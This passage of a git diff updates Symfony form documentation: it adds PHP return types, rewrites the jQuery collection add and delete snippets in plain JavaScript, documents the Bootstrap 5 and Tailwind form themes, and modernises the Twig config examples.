@@ -4,10 +4,10 @@
 How to Embed a Collection of Forms
 ==================================
 
-In this article, you'll learn how to create a form that embeds a collection
-of many other forms. This could be useful, for example, if you had a ``Task``
-class and you wanted to edit/create/remove many ``Tag`` objects related to
-that Task, right inside the same form.
+Symfony Forms can embed a collection of many other forms, which is useful to
+edit related entities in a single form. In this article, you'll create a form to
+edit a ``Task`` class and, right inside the same form, you'll be able to edit,
+create and remove many ``Tag`` objects related to that Task.
 
 Let's start by creating a ``Task`` entity::
 
@@ -15,6 +15,7 @@ Let's start by creating a ``Task`` entity::
     namespace App\Entity;
 
     use Doctrine\Common\Collections\ArrayCollection;
+    use Doctrine\Common\Collections\Collection;
 
     class Task
     {
@@ -26,17 +27,17 @@ Let's start by creating a ``Task`` entity::
             $this->tags = new ArrayCollection();
         }
 
-        public function getDescription()
+        public function getDescription(): string
         {
             return $this->description;
         }
 
-        public function setDescription($description)
+        public function setDescription(string $description): void
         {
             $this->description = $description;
         }
 
-        public function getTags()
+        public function getTags(): Collection
         {
             return $this->tags;
         }
@@ -44,9 +45,8 @@ Let's start by creating a ``Task`` entity::
 
 .. note::
 
-    The ``ArrayCollection`` is specific to Doctrine and is basically the
-    same as using an ``array`` (but it must be an ``ArrayCollection`` if
-    you're using Doctrine).
+    The `ArrayCollection`_ is specific to Doctrine and is similar to a PHP array
+    but provides many utility methods.
 
 Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
 objects::
@@ -58,12 +58,12 @@ objects::
     {
         private $name;
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
@@ -81,12 +81,12 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
 
     class TagType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Tag::class,
@@ -110,7 +110,7 @@ inside the task form itself::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('description');
 
@@ -120,7 +120,7 @@ inside the task form itself::
             ]);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -138,10 +138,11 @@ In your controller, you'll create a new form from the ``TaskType``::
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
 
@@ -163,8 +164,8 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
@@ -224,7 +225,7 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -242,13 +243,19 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+
+Now add a button just next to the ``<ul>`` to dynamically add a new tag:
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
 
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 
@@ -273,81 +280,45 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks a "Add a tag" link.
-This example uses jQuery and assumes you have it included somewhere on your page.
+Now add some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
+assumes you have it included somewhere on your page (e.g. using Symfony's
+:doc:`Webpack Encore </frontend>`).
 
-Add a ``script`` tag somewhere on your page so you can start writing some JavaScript.
-
-First, add a link to the bottom of the "tags" list via JavaScript. Second,
-bind to the "click" event of that link so you can add a new tag form (``addTagForm()``
-will be show next):
+Add a ``<script>`` tag somewhere on your page to include the required
+functionality with JavaScript:
 
 .. code-block:: javascript
 
-    var $collectionHolder;
-
-    // setup an "add a tag" link
-    var $addTagButton = $('<button type="button" class="add_tag_link">Add a tag</button>');
-    var $newLinkLi = $('<li></li>').append($addTagButton);
-
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add the "add a tag" anchor and li to the tags ul
-        $collectionHolder.append($newLinkLi);
+    document
+      .querySelectorAll('.add_item_link')
+      .forEach(btn => btn.addEventListener("click", addFormToCollection));
 
-        // count the current form inputs we have (e.g. 2), use that as the new
-        // index when inserting a new item (e.g. 2)
-        $collectionHolder.data('index', $collectionHolder.find('input').length);
-
-        $addTagButton.on('click', function(e) {
-            // add a new tag form (see next code block)
-            addTagForm($collectionHolder, $newLinkLi);
-        });
-    });
-
-The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
-to dynamically add a new form when this link is clicked. The ``data-prototype``
-HTML contains the tag ``text`` input element with a name of ``task[tags][__name__][name]``
-and id of ``task_tags___name___name``. The ``__name__`` is a little "placeholder",
-which you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``).
-
-The actual code needed to make this all work can vary quite a bit, but here's
-one example:
+The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
+attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
+HTML contains the tag's ``text`` input element with a name of ``task[tags][__name__][name]``
+and id of ``task_tags___name___name``. The ``__name__`` is a placeholder, which
+you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``):
 
 .. code-block:: javascript
 
-    function addTagForm($collectionHolder, $newLinkLi) {
-        // Get the data-prototype explained earlier
-        var prototype = $collectionHolder.data('prototype');
+    const addFormToCollection = (e) => {
+      const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-        // get the new index
-        var index = $collectionHolder.data('index');
+      const item = document.createElement('li');
 
-        var newForm = prototype;
-        // You need this only if you didn't set 'label' => false in your tags field in TaskType
-        // Replace '__name__label__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        // newForm = newForm.replace(/__name__label__/g, index);
+      item.innerHTML = collectionHolder
+        .dataset
+        .prototype
+        .replace(
+          /__name__/g,
+          collectionHolder.dataset.index
+        );
 
-        // Replace '__name__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        newForm = newForm.replace(/__name__/g, index);
+      collectionHolder.appendChild(item);
 
-        // increase the index with one for the next item
-        $collectionHolder.data('index', index + 1);
-
-        // Display the form in the page in an li, before the "Add a tag" link li
-        var $newFormLi = $('<li></li>').append(newForm);
-        $newLinkLi.before($newFormLi);
-    }
-
-.. note::
-
-    It is better to separate your JavaScript in real JavaScript files than
-    to write it inside the HTML as is done here.
+      collectionHolder.dataset.index++;
+    };
 
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
@@ -368,12 +339,12 @@ for the tags in the ``Task`` class::
     {
         // ...
 
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             $this->tags->add($tag);
         }
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             // ...
         }
@@ -384,7 +355,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false`
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -485,7 +456,7 @@ you will learn about next!).
         // src/Entity/Task.php
 
         // ...
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             // for a many-to-many association:
             $tag->addTask($this);
@@ -502,7 +473,7 @@ you will learn about next!).
         // src/Entity/Tag.php
 
         // ...
-        public function addTask(Task $task)
+        public function addTask(Task $task): void
         {
             if (!$this->tasks->contains($task)) {
                 $this->tasks->add($task);
@@ -522,7 +493,7 @@ Start by adding the ``allow_delete`` option in the form Type::
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -541,7 +512,7 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
     {
         // ...
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             $this->tags->removeElement($tag);
         }
@@ -560,36 +531,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add a delete link to all of the existing tag form li elements
-        $collectionHolder.find('li').each(function() {
-            addTagFormDeleteLink($(this));
-        });
+    const tags = document.querySelectorAll('ul.tags')
+    tags.forEach((tag) => {
+        addTagFormDeleteLink(tag)
+    })
 
-        // ... the rest of the block from above
-    });
+    // ... the rest of the block from above
 
-    function addTagForm() {
+    function addFormToCollection() {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink($newFormLi);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    function addTagFormDeleteLink($tagFormLi) {
-        var $removeFormButton = $('<button type="button">Delete this tag</button>');
-        $tagFormLi.append($removeFormButton);
+    const addTagFormDeleteLink = (tagFormLi) => {
+        const removeFormButton = document.createElement('button')
+        removeFormButton.classList
+        removeFormButton.innerText = 'Delete this tag'
+
+        tagFormLi.append(removeFormButton);
 
-        $removeFormButton.on('click', function(e) {
+        removeFormButton.addEventListener('click', (e) => {
+            e.preventDefault()
             // remove the li for the tag form
-            $tagFormLi.remove();
+            tagFormLi.remove();
         });
     }
 
@@ -618,52 +588,56 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     is handling the "update" of your Task::
 
         // src/Controller/TaskController.php
+
+        // ...
         use App\Entity\Task;
         use Doctrine\Common\Collections\ArrayCollection;
 
-        // ...
-        public function edit($id, Request $request, EntityManagerInterface $entityManager)
+        class TaskController extends AbstractController
         {
-            if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                throw $this->createNotFoundException('No task found for id '.$id);
-            }
+            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            {
+                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
+                    throw $this->createNotFoundException('No task found for id '.$id);
+                }
 
-            $originalTags = new ArrayCollection();
+                $originalTags = new ArrayCollection();
 
-            // Create an ArrayCollection of the current Tag objects in the database
-            foreach ($task->getTags() as $tag) {
-                $originalTags->add($tag);
-            }
+                // Create an ArrayCollection of the current Tag objects in the database
+                foreach ($task->getTags() as $tag) {
+                    $originalTags->add($tag);
+                }
 
-            $editForm = $this->createForm(TaskType::class, $task);
+                $editForm = $this->createForm(TaskType::class, $task);
 
-            $editForm->handleRequest($request);
+                $editForm->handleRequest($request);
 
-            if ($editForm->isSubmitted() && $editForm->isValid()) {
-                // remove the relationship between the tag and the Task
-                foreach ($originalTags as $tag) {
-                    if (false === $task->getTags()->contains($tag)) {
-                        // remove the Task from the Tag
-                        $tag->getTasks()->removeElement($task);
+                if ($editForm->isSubmitted() && $editForm->isValid()) {
+                    // remove the relationship between the tag and the Task
+                    foreach ($originalTags as $tag) {
+                        if (false === $task->getTags()->contains($tag)) {
+                            // remove the Task from the Tag
+                            $tag->getTasks()->removeElement($task);
 
-                        // if it was a many-to-one relationship, remove the relationship like this
-                        // $tag->setTask(null);
+                            // if it was a many-to-one relationship, remove the relationship like this
+                            // $tag->setTask(null);
 
-                        $entityManager->persist($tag);
+                            $entityManager->persist($tag);
 
-                        // if you wanted to delete the Tag entirely, you can also do that
-                        // $entityManager->remove($tag);
+                            // if you wanted to delete the Tag entirely, you can also do that
+                            // $entityManager->remove($tag);
+                        }
                     }
-                }
 
-                $entityManager->persist($task);
-                $entityManager->flush();
+                    $entityManager->persist($task);
+                    $entityManager->flush();
 
-                // redirect back to some edit page
-                return $this->redirectToRoute('task_edit', ['id' => $id]);
-            }
+                    // redirect back to some edit page
+                    return $this->redirectToRoute('task_edit', ['id' => $id]);
+                }
 
-            // render some form template
+                // ... render some form template
+            }
         }
 
     As you can see, adding and removing the elements correctly can be tricky.
@@ -680,6 +654,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
-.. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
+.. _`jQuery`: http://jquery.com/
+.. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
+.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 125b01e749a..120f4d52178 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,9 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller and created
-      by calling to the $form->createView() method #}
+    {# form is a variable passed from the controller via either
+      $this->renderForm('...', ['form' => $form])
+      or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
 The next step is to use the :ref:`form_start() <reference-forms-twig-start>`,
@@ -204,7 +205,7 @@ article) unless you set ``render_rest`` to false:
 .. code-block:: twig
 
     {# don't render unrendered fields #}
-    {{ form_end(form, {'render_rest': false}) }}
+    {{ form_end(form, {render_rest: false}) }}
 
 .. _reference-forms-twig-label:
 
@@ -257,8 +258,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 21b999fbcdd..8c32184afb0 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -33,21 +33,32 @@ in a single Twig template and they are enabled in the
   updated for `Bootstrap 4 CSS framework`_ styles.
 * `bootstrap_4_horizontal_layout.html.twig`_, same as
   ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles.
+* `bootstrap_5_layout.html.twig`_, same as ``bootstrap_4_layout.html.twig``, but
+  updated for `Bootstrap 5 CSS framework`_ styles.
+* `bootstrap_5_horizontal_layout.html.twig`_, same as
+  ``bootstrap_4_horizontal_layout.html.twig`` but updated for Bootstrap 5 styles.
 * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 5 of `Foundation CSS framework`_.
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
+* `tailwind_2_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the absolute minimum styles to make them usable. It is based on the
+  `Tailwind CSS form plugin`_.
 
 .. versionadded:: 5.1
 
     The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
+
 .. tip::
 
-    Read the article about the :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>`
-    to learn more about it.
+    Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
+    to learn more about them.
 
 .. _forms-theming-global:
 .. _forms-theming-twig:
@@ -88,12 +99,15 @@ want to use another theme for all the forms of your app, configure it in the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_horizontal_layout.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 You can pass multiple themes to this option because sometimes form themes only
 redefine a few elements. This way, if some theme doesn't override some element,
@@ -273,7 +287,7 @@ form. You can also define this value explicitly with the ``block_name`` option::
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -297,7 +311,7 @@ field without having to :doc:`create a custom form type </form/create_custom_fie
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('name', TextType::class, [
             'block_prefix' => 'wrapped_text',
@@ -345,7 +359,7 @@ has a collection of ``TaskListType`` which in turn has a collection of
 
     class TaskManagerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('taskLists', CollectionType::class, [
@@ -357,7 +371,7 @@ has a collection of ``TaskListType`` which in turn has a collection of
 
     class TaskListType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('tasks', CollectionType::class, [
@@ -366,9 +380,9 @@ has a collection of ``TaskListType`` which in turn has a collection of
         }
     }
 
-    class TaskType
+    class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             $builder->add('name');
             // ...
@@ -514,12 +528,15 @@ you want to apply the theme globally to all forms, define the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 If you only want to apply it to some specific forms, use the ``form_theme`` tag:
 
@@ -629,10 +646,15 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
+.. _`bootstrap_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_layout.html.twig
+.. _`bootstrap_5_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_horizontal_layout.html.twig
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.6/
+.. _`Bootstrap 5 CSS framework`: https://getbootstrap.com/docs/5.0/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
+.. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
+.. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 3321ab2153a..083e415aac4 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -52,7 +52,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CompanyType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
@@ -71,7 +71,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CustomerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('firstName', TextType::class)
@@ -94,7 +94,7 @@ for that::
 
     class LocationType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('address', TextareaType::class)
@@ -103,7 +103,7 @@ for that::
                 ->add('country', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'inherit_data' => true,
@@ -129,15 +129,20 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Company;
+    use Symfony\Component\Form\AbstractType;
+
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class CompanyType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('foo', LocationType::class, [
-            'data_class' => Company::class,
-        ]);
+            $builder->add('foo', LocationType::class, [
+                'data_class' => Company::class,
+            ]);
+        }
     }
 
 .. code-block:: php
@@ -146,15 +151,18 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Customer;
-    // ...
+    use Symfony\Component\Form\AbstractType;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class CustomerType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('bar', LocationType::class, [
-            'data_class' => Customer::class,
-        ]);
+            $builder->add('bar', LocationType::class, [
+                'data_class' => Customer::class,
+            ]);
+        }
     }
 
 That's it! You have extracted duplicated field definitions to a separate
diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index 74d430b4bb8..c8b1fc5145b 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -6,7 +6,7 @@ How to Submit a Form with Multiple Buttons
 
 When your form contains more than one submit button, you will want to check
 which of the buttons was clicked to adapt the program flow in your controller.
-To do this, add a second button with the caption "Save and add" to your form::
+To do this, add a second button with the caption "Save and Add" to your form::
 
     $form = $this->createFormBuilder($task)
         ->add('task', TextType::class)
@@ -17,7 +17,7 @@ To do this, add a second button with the caption "Save and add" to your form::
 
 In your controller, use the button's
 :method:`Symfony\\Component\\Form\\ClickableInterface::isClicked` method for
-querying if the "Save and add" button was clicked::
+querying if the "Save and Add" button was clicked::
 
     if ($form->isSubmitted() && $form->isValid()) {
         // ... perform some action, such as saving the task to the database
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 13f54999692..2856072e8d3 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -40,22 +40,24 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
+    use Symfony\Component\Form\Guess\TypeGuess;
+    use Symfony\Component\Form\Guess\ValueGuess;
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType(string $class, string $property)
+        public function guessType(string $class, string $property): ?TypeGuess
         {
         }
 
-        public function guessRequired(string $class, string $property)
+        public function guessRequired(string $class, string $property): ?ValueGuess
         {
         }
 
-        public function guessMaxLength(string $class, string $property)
+        public function guessMaxLength(string $class, string $property): ?ValueGuess
         {
         }
 
-        public function guessPattern(string $class, string $property)
+        public function guessPattern(string $class, string $property): ?ValueGuess
         {
         }
     }
@@ -94,12 +96,12 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType(string $class, string $property)
+        public function guessType(string $class, string $property): ?TypeGuess
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
             if (!isset($annotations['var'])) {
-                return; // guess nothing if the @var annotation is not available
+                return null; // guess nothing if the @var annotation is not available
             }
 
             // otherwise, base the type on the @var annotation
@@ -129,7 +131,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations(string $class, string $property)
+        protected function readPhpDocAnnotations(string $class, string $property): array
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 795fd55c9ea..97a35e1441e 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -55,7 +55,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             ];
 
             $model = new TestObject();
-            // $formData will retrieve data from the form submission; pass it as the second argument
+            // $model will retrieve data from the form submission; pass it as the second argument
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
@@ -67,7 +67,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             // This check ensures there are no transformation failures
             $this->assertTrue($form->isSynchronized());
 
-            // check that $formData was modified as expected when the form was submitted
+            // check that $model was modified as expected when the form was submitted
             $this->assertEquals($expected, $model);
         }
 
@@ -88,7 +88,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 So, what does it test? Here comes a detailed explanation.
 
 First you verify if the ``FormType`` compiles. This includes basic class
-inheritance, the ``buildForm()`` function and options resolution. This should
+inheritance, the ``buildForm()`` method and options resolution. This should
 be the first test you write::
 
     $form = $this->factory->create(TestedType::class, $formData);
@@ -121,8 +121,8 @@ variable exists and will be available in your form themes::
 
 .. tip::
 
-    Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple
-    form conditions using the same test code.
+    Use `PHPUnit data providers`_ to test multiple form conditions using
+    the same test code.
 
 .. caution::
 
@@ -219,7 +219,8 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping()
+                ->enableAnnotationMapping(true)
+                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [
@@ -242,3 +243,5 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions`
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
+
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 6a567286094..c2cba15ad7f 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -9,7 +9,7 @@ form class. This empty data set would be used if you submit your form, but
 haven't called ``setData()`` on your form or passed in data when you created
 your form. For example, in a controller::
 
-    public function index()
+    public function index(): Response
     {
         $blog = ...;
 
@@ -61,7 +61,7 @@ that constructor with no arguments::
         }
         // ...
 
